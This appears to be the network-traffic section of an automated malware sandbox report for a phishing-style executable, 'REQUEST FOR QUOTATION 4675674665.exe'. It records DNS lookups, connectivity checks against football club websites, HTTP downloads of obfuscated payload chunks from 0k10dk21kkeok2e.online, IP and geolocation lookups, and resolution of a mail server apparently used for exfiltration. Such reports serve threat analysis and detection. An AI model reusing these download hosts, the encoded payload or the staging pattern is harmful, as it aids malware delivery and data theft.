Mar 3, 2021 07:34:29.134080887 CET	8.8.8.8	192.168.2.4	0x4b83	No error (0)	checkip.dyndns.org	checkip.dyndns.com		CNAME (Canonical name)	IN (0x0001)
Mar 3, 2021 07:34:29.134080887 CET	8.8.8.8	192.168.2.4	0x4b83	No error (0)	checkip.dyndns.com		162.88.193.70	A (IP address)	IN (0x0001)
Mar 3, 2021 07:34:29.134080887 CET	8.8.8.8	192.168.2.4	0x4b83	No error (0)	checkip.dyndns.com		131.186.161.70	A (IP address)	IN (0x0001)
Mar 3, 2021 07:34:29.134080887 CET	8.8.8.8	192.168.2.4	0x4b83	No error (0)	checkip.dyndns.com		131.186.113.70	A (IP address)	IN (0x0001)
Mar 3, 2021 07:34:29.134080887 CET	8.8.8.8	192.168.2.4	0x4b83	No error (0)	checkip.dyndns.com		216.146.43.70	A (IP address)	IN (0x0001)
Mar 3, 2021 07:34:29.134080887 CET	8.8.8.8	192.168.2.4	0x4b83	No error (0)	checkip.dyndns.com		216.146.43.71	A (IP address)	IN (0x0001)
Mar 3, 2021 07:34:29.186912060 CET	8.8.8.8	192.168.2.4	0xdd4	No error (0)	checkip.dyndns.org	checkip.dyndns.com		CNAME (Canonical name)	IN (0x0001)
Mar 3, 2021 07:34:29.186912060 CET	8.8.8.8	192.168.2.4	0xdd4	No error (0)	checkip.dyndns.com		162.88.193.70	A (IP address)	IN (0x0001)
Mar 3, 2021 07:34:29.186912060 CET	8.8.8.8	192.168.2.4	0xdd4	No error (0)	checkip.dyndns.com		131.186.161.70	A (IP address)	IN (0x0001)
Mar 3, 2021 07:34:29.186912060 CET	8.8.8.8	192.168.2.4	0xdd4	No error (0)	checkip.dyndns.com		131.186.113.70	A (IP address)	IN (0x0001)
Mar 3, 2021 07:34:29.186912060 CET	8.8.8.8	192.168.2.4	0xdd4	No error (0)	checkip.dyndns.com		216.146.43.70	A (IP address)	IN (0x0001)
Mar 3, 2021 07:34:29.186912060 CET	8.8.8.8	192.168.2.4	0xdd4	No error (0)	checkip.dyndns.com		216.146.43.71	A (IP address)	IN (0x0001)
Mar 3, 2021 07:34:29.856136084 CET	8.8.8.8	192.168.2.4	0x30c9	No error (0)	freegeoip.app		104.21.19.200	A (IP address)	IN (0x0001)
Mar 3, 2021 07:34:29.856136084 CET	8.8.8.8	192.168.2.4	0x30c9	No error (0)	freegeoip.app		172.67.188.154	A (IP address)	IN (0x0001)
Mar 3, 2021 07:34:29.884139061 CET	8.8.8.8	192.168.2.4	0xde6f	No error (0)	mail.lootahperfumes.com	lootahperfumes.com		CNAME (Canonical name)	IN (0x0001)
Mar 3, 2021 07:34:29.884139061 CET	8.8.8.8	192.168.2.4	0xde6f	No error (0)	lootahperfumes.com		35.208.150.174	A (IP address)	IN (0x0001)
Mar 3, 2021 07:34:29.948285103 CET	8.8.8.8	192.168.2.4	0xb0ca	No error (0)	mail.lootahperfumes.com	lootahperfumes.com		CNAME (Canonical name)	IN (0x0001)
Mar 3, 2021 07:34:29.948285103 CET	8.8.8.8	192.168.2.4	0xb0ca	No error (0)	lootahperfumes.com		35.208.150.174	A (IP address)	IN (0x0001)
Mar 3, 2021 07:34:31.663480043 CET	8.8.8.8	192.168.2.4	0x6231	No error (0)	mail.lootahperfumes.com	lootahperfumes.com		CNAME (Canonical name)	IN (0x0001)
Mar 3, 2021 07:34:31.663480043 CET	8.8.8.8	192.168.2.4	0x6231	No error (0)	lootahperfumes.com		35.208.150.174	A (IP address)	IN (0x0001)
Mar 3, 2021 07:34:31.743813992 CET	8.8.8.8	192.168.2.4	0xf553	No error (0)	mail.lootahperfumes.com	lootahperfumes.com		CNAME (Canonical name)	IN (0x0001)
Mar 3, 2021 07:34:31.743813992 CET	8.8.8.8	192.168.2.4	0xf553	No error (0)	lootahperfumes.com		35.208.150.174	A (IP address)	IN (0x0001)
Mar 3, 2021 07:34:33.457215071 CET	8.8.8.8	192.168.2.4	0xfca6	No error (0)	mail.lootahperfumes.com	lootahperfumes.com		CNAME (Canonical name)	IN (0x0001)
Mar 3, 2021 07:34:33.457215071 CET	8.8.8.8	192.168.2.4	0xfca6	No error (0)	lootahperfumes.com		35.208.150.174	A (IP address)	IN (0x0001)
Mar 3, 2021 07:34:33.618338108 CET	8.8.8.8	192.168.2.4	0x23a7	No error (0)	mail.lootahperfumes.com	lootahperfumes.com		CNAME (Canonical name)	IN (0x0001)
Mar 3, 2021 07:34:33.618338108 CET	8.8.8.8	192.168.2.4	0x23a7	No error (0)	lootahperfumes.com		35.208.150.174	A (IP address)	IN (0x0001)
Mar 3, 2021 07:34:35.810533047 CET	8.8.8.8	192.168.2.4	0x675a	No error (0)	mail.lootahperfumes.com	lootahperfumes.com		CNAME (Canonical name)	IN (0x0001)
Mar 3, 2021 07:34:35.810533047 CET	8.8.8.8	192.168.2.4	0x675a	No error (0)	lootahperfumes.com		35.208.150.174	A (IP address)	IN (0x0001)
Mar 3, 2021 07:34:35.867737055 CET	8.8.8.8	192.168.2.4	0xda6c	No error (0)	mail.lootahperfumes.com	lootahperfumes.com		CNAME (Canonical name)	IN (0x0001)
Mar 3, 2021 07:34:35.867737055 CET	8.8.8.8	192.168.2.4	0xda6c	No error (0)	lootahperfumes.com		35.208.150.174	A (IP address)	IN (0x0001)

HTTP Request Dependency Graph

www.chelseafc.com

0k10dk21kkeok2e.online

www.liverpoolfc.com

checkip.dyndns.org

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.4	49735	151.101.2.133	80	C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe

Timestamp	kBytes transferred	Direction	Data
Mar 3, 2021 07:32:35.049420118 CET	1363	OUT	GET / HTTP/1.1 User-Agent: Other Host: www.chelseafc.com Connection: Keep-Alive
Mar 3, 2021 07:32:35.090167999 CET	1368	IN	HTTP/1.1 302 Found Retry-After: 0 Content-Length: 0 Location: https://www.chelseafc.com/en Accept-Ranges: bytes Date: Wed, 03 Mar 2021 06:32:35 GMT Connection: close Vary: Accept-Encoding, Accept-Language Access-Control-Allow-Origin: * X-Powered-By: Curiosity X-Geo-Country_code: CH

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.2.4	49741	172.67.179.188	80	C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe

Timestamp	kBytes transferred	Direction	Data
Mar 3, 2021 07:32:36.964546919 CET	2002	OUT	GET /base/BE5201E9C42925D8E78FC1784E088C41.html HTTP/1.1 User-Agent: Other Host: 0k10dk21kkeok2e.online Connection: Keep-Alive
Mar 3, 2021 07:32:37.167886019 CET	2005	IN	HTTP/1.1 200 OK Date: Wed, 03 Mar 2021 06:32:37 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Set-Cookie: __cfduid=d5ee513f73538b3229713b327f7fda51c1614753157; expires=Fri, 02-Apr-21 06:32:37 GMT; path=/; domain=.0k10dk21kkeok2e.online; HttpOnly; SameSite=Lax Last-Modified: Tue, 02 Mar 2021 05:41:04 GMT Vary: Accept-Encoding X-Frame-Options: SAMEORIGIN CF-Cache-Status: DYNAMIC cf-request-id: 089862e78a000053f29c06a000000001 Report-To: {"max_age":604800,"group":"cf-nel","endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report?s=0NnDT0yLPzWl9hUttnQRPgu6THasdbrWyu9AZlYQ0m45AmTbKW3AYqQegSJvqYDsQswRx8RkAVH0MNZnKEGIN48%2B8zpUIiY1LUBkAV1Zhe0KDKeBqYaP"}]} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 62a0d41f4bca53f2-LHR alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400 Data Raw: 37 63 38 36 0d 0a 3c 70 3e 74 74 64 78 42 64 77 63 63 64 42 64 6d 64 42 64 42 64 42 64 63 64 42 64 42 64 42 64 49 75 75 64 49 75 75 64 42 64 42 64 77 73 63 64 42 64 42 64 42 64 42 64 42 64 42 64 42 64 61 63 64 42 64 42 64 42 64 42 64 42 64 42 64 42 64 42 64 42 64 42 64 42 64 42 64 42 64 42 64 42 64 42 64 42 64 42 64 42 64 42 64 42 64 42 64 42 64 42 64 42 64 42 64 42 64 42 64 42 64 42 64 42 64 42 64 42 64 42 64 42 64 77 49 73 64 42 64 42 64 42 64 77 63 64 6d 77 64 77 73 61 64 77 63 64 42 64 77 73 42 64 78 64 49 42 75 64 6d 6d 64 77 73 63 64 77 64 74 61 64 49 42 75 64 6d 6d 64 73 63 64 77 42 63 64 77 42 75 64 77 77 75 64 6d 49 64 77 77 49 64 77 77 63 64 77 77 77 64 77 42 6d 64 77 77 63 64 78 74 64 77 42 78 64 6d 49 64 78 78 64 78 74 64 77 77 42 64 77 77 42 64 77 77 77 64 77 77 61 64 6d 49 64 78 73 64 77 42 77 64 6d 49 64 77 77 63 64 77 77 74 64 77 77 42 64 6d 49 64 77 42 75 64 77 77 42 64 6d 49 64 61 73 64 74 78 64 73 6d 64 6d 49 64 77 42 78 64 77 77 77 64 77 42 42 64 77 42 77 64 63 61 64 77 6d 64 77 6d 64 77 42 64 6d 61 64 42 64 42 64 42 64 42 64 42 64 42 64 42 64 73 42 64 61 78 64 42 64 42 64 74 61 64 77 64 6d 64 42 64 74 61 64 77 63 49 64 63 77 64 77 73 42 64 42 64 42 64 42 64 42 64 42 64 42 64 42 64 42 64 49 49 63 64 42 64 6d 63 64 42 64 77 77 64 77 64 73 42 64 42 64 42 64 77 77 49 64 77 6d 64 42 64 42 64 61 64 42 64 42 64 42 64 42 64 42 64 42 Data Ascii: 7c86<p>ttdxBdwccdBdmdBdBdBdcdBdBdBdIuudIuudBdBdwscdBdBdBdBdBdBdBdacdBdBdBdBdBdBdBdBdBdBdBdBdBdBdBdBdBdBdBdBdBdBdBdBdBdBdBdBdBdBdBdBdBdBdBdwIsdBdBdBdwcdmwdwsadwcdBdwsBdxdIBudmmdwscdwdtadIBudmmdscdwBcdwBudwwudmIdwwIdwwcdwwwdwBmdwwcdxtdwBxdmIdxxdxtdwwBdwwBdwwwdwwadmIdxsdwBwdmIdwwcdwwtdwwBdmIdwBudwwBdmIdasdtxdsmdmIdwBxdwwwdwBBdwBwdcadwmdwmdwBdmadBdBdBdBdBdBdBdsBdaxdBdBdtadwdmdBdtadwcIdcwdwsBdBdBdBdBdBdBdBdBdIIcdBdmcdBdwwdwdsBdBdBdwwIdwmdBdBdadBdBdBdBdBdB
Mar 3, 2021 07:32:37.167921066 CET	2006	IN	Data Raw: 64 77 75 73 64 77 63 6d 64 77 6d 64 42 64 42 64 6d 49 64 42 64 42 64 42 64 77 61 42 64 77 6d 64 42 64 42 64 42 64 42 64 77 49 73 64 42 64 6d 49 64 42 64 42 64 42 64 49 64 42 64 42 64 63 64 42 64 42 64 42 64 42 64 42 64 42 64 42 64 63 64 42 64 42 Data Ascii: dwusdwcmdwmdBdBdmIdBdBdBdwaBdwmdBdBdBdBdwIsdBdmIdBdBdBdIdBdBdcdBdBdBdBdBdBdBdcdBdBdBdBdBdBdBdBdIIcdwmdBdBdIdBdBdBdBdBdBdIdBdacdwmmdBdBdwadBdBdwadBdBdBdBdwadBdBdwadBdBdBdBdBdBdwadBdBdBdBdBdBdBdBdBdBdBdasdwcmdwmdBdstdBdBdBdBdwaBdwmdBdIwIdmdBdBdB
Mar 3, 2021 07:32:37.167946100 CET	2007	IN	Data Raw: 42 64 42 64 77 61 64 42 64 42 64 42 64 49 42 64 42 64 42 64 42 64 49 63 64 42 64 42 64 42 64 49 73 64 42 64 42 64 42 64 6d 61 64 42 64 42 64 42 64 49 61 64 63 42 64 77 6d 64 42 64 42 64 61 64 63 49 64 63 49 64 49 75 63 64 78 64 42 64 42 64 63 42 Data Ascii: BdBdwadBdBdBdIBdBdBdBdIcdBdBdBdIsdBdBdBdmadBdBdBdIadcBdwmdBdBdadcIdcIdIucdxdBdBdcBdwwtdBdBdwBdcIdmBdIdcBdwmadBdBdwBdcIdmsdBdIdcBdwmtdBdBdwBdBdcIdwaadwwudwmsdBdBdwBdwIsdcdBdBdcdwwudwmxdBdBdwBdwIsdudBdBdcdwwudwcBdBdBdwBdwIsdadBdBdcdwwudwcwdBdBdw
Mar 3, 2021 07:32:37.167968988 CET	2009	IN	Data Raw: 64 77 64 49 75 63 64 77 63 64 42 64 42 64 63 6d 64 61 64 49 75 63 64 49 49 64 63 63 64 42 64 42 64 77 64 49 75 63 64 77 49 64 42 64 42 64 75 74 64 77 61 61 64 49 61 64 42 64 42 64 42 64 42 64 49 73 64 77 63 77 64 63 75 64 42 64 42 64 77 64 6d 74 Data Ascii: dwdIucdwcdBdBdcmdadIucdIIdccdBdBdwdIucdwIdBdBdutdwaadIadBdBdBdBdIsdwcwdcudBdBdwdmtdmIdudBdBdBdmwdxxdwutdmtdmIdudBdBdBdmwducdwutdmtdmIdudBdBdBdmwduudwutdmtdmIdudBdBdBdmwdumdwutdmtdItdmwdwIudwutdmtdmIdcdBdBdBdmwdwBIdwutdmtdmIdcdBdBdBdmwdwBBdwutd
Mar 3, 2021 07:32:37.167990923 CET	2010	IN	Data Raw: 6d 74 64 6d 49 64 77 75 64 42 64 42 64 42 64 6d 77 64 77 42 77 64 77 75 74 64 6d 74 64 6d 49 64 77 75 64 42 64 42 64 42 64 6d 77 64 77 42 42 64 77 75 74 64 6d 74 64 6d 77 64 77 75 64 6d 77 64 63 61 64 77 75 74 64 6d 74 64 6d 49 64 77 63 64 42 64 Data Ascii: mtdmIdwudBdBdBdmwdwBwdwutdmtdmIdwudBdBdBdmwdwBBdwutdmtdmwdwudmwdcadwutdmtdmIdwcdBdBdBdmwdwBIdwutdmtdmIdwcdBdBdBdmwdwBBdwutdmtdmIdwcdBdBdBdmwdxtdwutdmtdmIdwcdBdBdBdmwdcsdwutdmtdmwdwcdmwdwwBdwutdmtdmIdwmdBdBdBdmwduudwutdmtdmIdwmdBdBdBdmwducdwutd
Mar 3, 2021 07:32:37.168013096 CET	2012	IN	Data Raw: 64 6d 74 64 49 61 64 6d 77 64 61 75 64 77 75 74 64 6d 74 64 6d 49 64 6d 64 42 64 42 64 42 64 6d 77 64 63 73 64 77 75 74 64 6d 74 64 6d 49 64 6d 64 42 64 42 64 42 64 6d 77 64 78 74 64 77 75 74 64 6d 74 64 6d 49 64 6d 64 42 64 42 64 42 64 6d 77 64 Data Ascii: dmtdIadmwdaudwutdmtdmIdmdBdBdBdmwdcsdwutdmtdmIdmdBdBdBdmwdxtdwutdmtdmIdmdBdBdBdmwdxxdwutdmtdmIdmdBdBdBdmwduIdwutdmtdIudmwdxIdwutdmtdmIdIdBdBdBdmwduadwutdmtdmIdIdBdBdBdmwdcsdwutdmtdmIdIdBdBdBdmwdxxdwutdmtdmIdIdBdBdBdmwdwBIdwutdmtdIcdmwdwIudwutd
Mar 3, 2021 07:32:37.168035030 CET	2013	IN	Data Raw: 64 42 64 42 64 42 64 6d 77 64 63 78 64 77 75 74 64 6d 74 64 6d 49 64 77 49 64 42 64 42 64 42 64 6d 77 64 75 63 64 77 75 74 64 6d 74 64 6d 49 64 77 49 64 42 64 42 64 42 64 6d 77 64 78 74 64 77 75 74 64 6d 74 64 6d 49 64 77 49 64 42 64 42 64 42 64 Data Ascii: dBdBdBdmwdcxdwutdmtdmIdwIdBdBdBdmwducdwutdmtdmIdwIdBdBdBdmwdxtdwutdmtdmIdwIdBdBdBdmwduwdwutdmtdmwdwIdmwdsIdwutdmtdmIdwwdBdBdBdmwdcsdwutdmtdmIdwwdBdBdBdmwdwBIdwutdmtdmIdwwdBdBdBdmwdutdwutdmtdmIdwwdBdBdBdmwduwdwutdmtdmwdwwdmwdwBBdwutdmtdmIdwBdBd
Mar 3, 2021 07:32:37.168056011 CET	2014	IN	Data Raw: 6d 49 64 77 64 42 64 42 64 42 64 6d 77 64 75 61 64 77 75 74 64 6d 74 64 49 6d 64 6d 77 64 63 73 64 77 75 74 64 6d 74 64 6d 49 64 42 64 42 64 42 64 42 64 6d 77 64 75 49 64 77 75 74 64 6d 74 64 6d 49 64 42 64 42 64 42 64 42 64 6d 77 64 75 74 64 77 Data Ascii: mIdwdBdBdBdmwduadwutdmtdImdmwdcsdwutdmtdmIdBdBdBdBdmwduIdwutdmtdmIdBdBdBdBdmwdutdwutdmtdmIdBdBdBdBdmwdxsdwutdmtdmIdBdBdBdBdmwduIdwutdmtdIIdmwdwImdwutdwwudIIdBdBdwBdBdIucdwIdwdBdcBdIsdBdBdwBdwwwdmIdBdBdwBdBdIucdwIdmdBdwwwdmwdBdBdwBdmwdwwBdwcwdu
Mar 3, 2021 07:32:37.168080091 CET	2016	IN	Data Raw: 42 77 64 42 64 42 64 42 64 6d 77 64 75 63 64 77 75 74 64 6d 74 64 6d 77 64 77 42 77 64 6d 77 64 61 75 64 77 75 74 64 6d 74 64 6d 49 64 77 42 42 64 42 64 42 64 42 64 6d 77 64 75 6d 64 77 75 74 64 6d 74 64 6d 49 64 77 42 42 64 42 64 42 64 42 64 6d Data Ascii: BwdBdBdBdmwducdwutdmtdmwdwBwdmwdaudwutdmtdmIdwBBdBdBdBdmwdumdwutdmtdmIdwBBdBdBdBdmwduBdwutdmtdmIdwBBdBdBdBdmwdxsdwutdmtdmIdwBBdBdBdBdmwduadwutdmtdmwdwBBdmwdwwBdwutdmtdmIdxxdBdBdBdmwdxxdwutdmtdmIdxxdBdBdBdmwduwdwutdmtdmIdxxdBdBdBdmwduIdwutdmtdm
Mar 3, 2021 07:32:37.168101072 CET	2017	IN	Data Raw: 78 64 77 75 74 64 6d 74 64 6d 77 64 78 42 64 6d 77 64 77 77 77 64 77 75 74 64 6d 74 64 6d 49 64 73 78 64 42 64 42 64 42 64 6d 77 64 77 42 42 64 77 75 74 64 6d 74 64 6d 49 64 73 78 64 42 64 42 64 42 64 6d 77 64 78 73 64 77 75 74 64 6d 74 64 6d 49 Data Ascii: xdwutdmtdmwdxBdmwdwwwdwutdmtdmIdsxdBdBdBdmwdwBBdwutdmtdmIdsxdBdBdBdmwdxsdwutdmtdmIdsxdBdBdBdmwduadwutdmtdmIdsxdBdBdBdmwduadwutdmtdmwdsxdmwdwwadwutdmtdmIdssdBdBdBdmwdcsdwutdmtdmIdssdBdBdBdmwdcxdwutdmtdmIdssdBdBdBdmwdumdwutdmtdmIdssdBdBdBdmwdumd
Mar 3, 2021 07:32:37.169034004 CET	2019	IN	Data Raw: 6d 77 64 73 6d 64 77 75 74 64 6d 74 64 6d 49 64 74 73 64 42 64 42 64 42 64 6d 77 64 77 42 42 64 77 75 74 64 6d 74 64 6d 49 64 74 73 64 42 64 42 64 42 64 6d 77 64 75 63 64 77 75 74 64 6d 74 64 6d 49 64 74 73 64 42 64 42 64 42 64 6d 77 64 75 49 64 Data Ascii: mwdsmdwutdmtdmIdtsdBdBdBdmwdwBBdwutdmtdmIdtsdBdBdBdmwducdwutdmtdmIdtsdBdBdBdmwduIdwutdmtdmIdtsdBdBdBdmwdwBIdwutdmtdmwdtsdmwdctdwutdmtdmIdttdBdBdBdmwduwdwutdmtdmIdttdBdBdBdmwdutdwutdmtdmIdttdBdBdBdmwduwdwutdmtdmIdttdBdBdBdmwduwdwutdmtdmwdttdmwd
Mar 3, 2021 07:32:38.957936049 CET	3078	OUT	GET /base/2EFB732049D86A274BE3059F4762FB9F.html HTTP/1.1 User-Agent: Other Host: 0k10dk21kkeok2e.online
Mar 3, 2021 07:32:39.153657913 CET	3084	IN	HTTP/1.1 200 OK Date: Wed, 03 Mar 2021 06:32:39 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Set-Cookie: __cfduid=d3ceaf122d57a2b70d07cbe94a146cb0a1614753158; expires=Fri, 02-Apr-21 06:32:38 GMT; path=/; domain=.0k10dk21kkeok2e.online; HttpOnly; SameSite=Lax Last-Modified: Tue, 02 Mar 2021 05:41:08 GMT Vary: Accept-Encoding X-Frame-Options: SAMEORIGIN CF-Cache-Status: DYNAMIC cf-request-id: 089862ef52000053f28daa2000000001 Report-To: {"max_age":604800,"group":"cf-nel","endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report?s=quyP%2BrESnDjSxSX9OsRLw%2BFUQWgQrQlH07adpIJrlue5MyHZS1HnkgGYgm3HkKf95KlOqgShrZ57Zsx2fghlrZ7iVdrWzszHyIYdCkoLz0mW97PCwQ%2Bf"}]} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 62a0d42bbf3a53f2-LHR alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400 Data Raw: 37 63 38 32 0d 0a 3c 70 3e 75 49 64 49 6d 61 64 49 6d 61 64 77 75 73 64 77 75 73 64 73 75 64 73 75 64 77 73 77 64 73 78 64 6d 73 64 6d 73 64 6d 77 64 6d 77 64 49 6d 78 64 49 6d 73 64 49 49 75 64 77 42 73 64 78 49 64 78 49 64 63 42 64 63 42 64 77 78 61 64 77 78 61 64 63 6d 64 49 42 74 64 77 75 78 64 77 75 78 64 49 75 42 64 49 75 42 64 77 6d 61 64 77 6d 75 64 77 61 77 64 63 6d 64 49 75 64 49 75 64 63 77 64 63 77 64 77 78 78 64 77 78 78 64 63 63 64 49 42 73 64 77 61 49 64 77 61 49 64 49 77 73 64 49 77 73 64 77 42 61 64 77 42 75 64 63 49 64 77 73 42 64 77 6d 49 64 77 6d 49 64 77 73 49 64 77 73 49 64 49 63 42 64 49 63 42 64 49 63 73 64 77 75 61 64 49 6d 75 64 49 6d 75 64 77 61 78 64 77 61 78 64 77 6d 49 64 77 6d 77 64 77 61 74 64 63 78 64 6d 64 6d 64 75 77 64 75 77 64 77 42 74 64 77 42 74 64 49 42 63 64 77 77 49 64 77 64 77 64 77 49 61 64 77 49 61 64 49 42 6d 64 49 42 49 64 61 63 64 49 42 49 64 77 73 61 64 77 73 61 64 77 6d 61 64 77 6d 61 64 6d 63 64 6d 63 64 77 49 61 64 6d 63 64 77 75 64 77 75 64 77 6d 63 64 77 6d 63 64 77 73 42 64 77 74 78 64 61 73 64 49 42 61 64 77 61 6d 64 77 61 6d 64 49 77 77 64 49 77 77 64 74 75 64 74 75 64 49 6d 42 64 77 6d 73 64 77 73 77 64 77 73 77 64 77 63 63 64 77 63 63 64 77 61 63 64 77 61 6d 64 75 77 64 77 73 78 64 49 42 42 64 49 42 42 64 77 61 75 64 77 61 75 64 61 6d 64 61 6d 64 77 77 74 64 49 75 64 6d 73 64 Data Ascii: 7c82<p>uIdImadImadwusdwusdsudsudwswdsxdmsdmsdmwdmwdImxdImsdIIudwBsdxIdxIdcBdcBdwxadwxadcmdIBtdwuxdwuxdIuBdIuBdwmadwmudwawdcmdIudIudcwdcwdwxxdwxxdccdIBsdwaIdwaIdIwsdIwsdwBadwBudcIdwsBdwmIdwmIdwsIdwsIdIcBdIcBdIcsdwuadImudImudwaxdwaxdwmIdwmwdwatdcxdmdmduwduwdwBtdwBtdIBcdwwIdwdwdwIadwIadIBmdIBIdacdIBIdwsadwsadwmadwmadmcdmcdwIadmcdwudwudwmcdwmcdwsBdwtxdasdIBadwamdwamdIwwdIwwdtudtudImBdwmsdwswdwswdwccdwccdwacdwamduwdwsxdIBBdIBBdwaudwaudamdamdwwtdIudmsd
Mar 3, 2021 07:32:39.639776945 CET	4151	OUT	GET /base/87D299F76097B9A9304F3C6E7641EB09.html HTTP/1.1 User-Agent: Other Host: 0k10dk21kkeok2e.online
Mar 3, 2021 07:32:39.771394014 CET	4154	IN	HTTP/1.1 200 OK Date: Wed, 03 Mar 2021 06:32:39 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Set-Cookie: __cfduid=d1b273ea011b9dd993937fa6b41a83c671614753159; expires=Fri, 02-Apr-21 06:32:39 GMT; path=/; domain=.0k10dk21kkeok2e.online; HttpOnly; SameSite=Lax Last-Modified: Tue, 02 Mar 2021 05:41:10 GMT Vary: Accept-Encoding X-Frame-Options: SAMEORIGIN CF-Cache-Status: DYNAMIC cf-request-id: 089862f1fe000053f26d829000000001 Report-To: {"max_age":604800,"group":"cf-nel","endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report?s=Y%2F1t5SwxfM9ETk6tvPhTU0g7pCKvnKF9A2mbfJTYUPDJWCJ7DT8hrcgQMMQT1aYXGjeoA5ZNkkaUiF0RhW3j3%2Fcvafn%2Bwhzk9oetrv4Vjq3KMEbASfub"}]} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 62a0d42ffcee53f2-LHR alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400 Data Raw: 37 63 38 31 0d 0a 3c 70 3e 64 77 49 42 64 42 64 73 73 64 77 42 61 64 77 49 77 64 77 77 77 64 73 42 64 73 77 64 77 77 61 64 74 63 64 74 74 64 73 61 64 77 77 42 64 77 77 74 64 77 77 49 64 77 77 78 64 74 42 64 73 73 64 77 49 42 64 42 64 74 6d 64 77 77 42 64 77 77 73 64 78 74 64 77 42 73 64 77 42 75 64 77 42 42 64 73 42 64 78 74 64 77 77 63 64 78 74 64 77 42 78 64 77 42 77 64 77 77 61 64 77 42 77 64 77 77 63 64 74 74 64 77 42 75 64 77 49 42 64 42 64 74 74 64 77 42 77 64 77 77 75 64 77 77 75 64 78 74 64 77 42 6d 64 77 42 77 64 61 61 64 77 77 77 64 77 49 42 64 42 64 77 42 78 64 73 63 64 74 49 64 77 42 42 64 77 77 78 64 77 42 6d 64 77 49 49 64 74 63 64 77 77 75 64 77 77 49 64 73 78 64 77 77 75 64 74 77 64 74 63 64 77 49 77 64 77 49 42 64 42 64 78 75 64 78 75 64 78 75 64 73 75 64 74 78 64 78 73 64 74 74 64 77 77 74 64 73 75 64 77 42 73 64 74 78 64 74 73 64 77 77 78 64 74 74 64 77 77 42 64 77 77 74 64 77 49 49 64 77 49 42 64 42 64 74 77 64 73 61 64 73 73 64 78 74 64 77 42 49 64 77 49 77 64 74 74 64 61 75 64 77 49 77 64 42 64 74 77 64 77 49 49 64 73 77 64 77 42 61 64 73 78 64 73 49 64 74 61 64 61 61 64 61 78 64 77 42 77 64 74 61 64 74 42 64 78 42 64 73 61 64 73 63 64 74 49 64 78 73 64 74 42 64 77 49 49 64 74 74 64 61 74 64 77 49 77 64 42 64 77 77 49 64 73 73 64 77 49 77 64 77 42 75 64 77 77 6d 64 73 75 64 74 42 64 74 6d 64 77 49 77 64 42 64 61 Data Ascii: 7c81<p>dwIBdBdssdwBadwIwdwwwdsBdswdwwadtcdttdsadwwBdwwtdwwIdwwxdtBdssdwIBdBdtmdwwBdwwsdxtdwBsdwBudwBBdsBdxtdwwcdxtdwBxdwBwdwwadwBwdwwcdttdwBudwIBdBdttdwBwdwwudwwudxtdwBmdwBwdaadwwwdwIBdBdwBxdscdtIdwBBdwwxdwBmdwIIdtcdwwudwwIdsxdwwudtwdtcdwIwdwIBdBdxudxudxudsudtxdxsdttdwwtdsudwBsdtxdtsdwwxdttdwwBdwwtdwIIdwIBdBdtwdsadssdxtdwBIdwIwdttdaudwIwdBdtwdwIIdswdwBadsxdsIdtadaadaxdwBwdtadtBdxBdsadscdtIdxsdtBdwIIdttdatdwIwdBdwwIdssdwIwdwBudwwmdsudtBdtmdwIwdBda

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
10	192.168.2.4	49799	13.225.80.63	80	C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe

Timestamp	kBytes transferred	Direction	Data
Mar 3, 2021 07:33:48.529181957 CET	13820	OUT	GET / HTTP/1.1 User-Agent: Other Host: www.liverpoolfc.com Connection: Keep-Alive
Mar 3, 2021 07:33:48.568155050 CET	13821	IN	HTTP/1.1 301 Moved Permanently Server: CloudFront Date: Wed, 03 Mar 2021 06:33:48 GMT Content-Type: text/html Content-Length: 183 Connection: keep-alive Location: https://www.liverpoolfc.com/ X-Cache: Redirect from cloudfront Via: 1.1 590590f04f79f692591f9db0e720a31d.cloudfront.net (CloudFront) X-Amz-Cf-Pop: FRA2-C2 X-Amz-Cf-Id: 5ntWIB1Mz90U5m6aSC1udTn_jhFuSszOQ6hH2v9DevJ2ae_PhjBrtw== Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 43 6c 6f 75 64 46 72 6f 6e 74 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body bgcolor="white"><center><h1>301 Moved Permanently</h1></center><hr><center>CloudFront</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
11	192.168.2.4	49819	162.88.193.70	80	C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe

Timestamp	kBytes transferred	Direction	Data
Mar 3, 2021 07:34:23.908704996 CET	18648	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
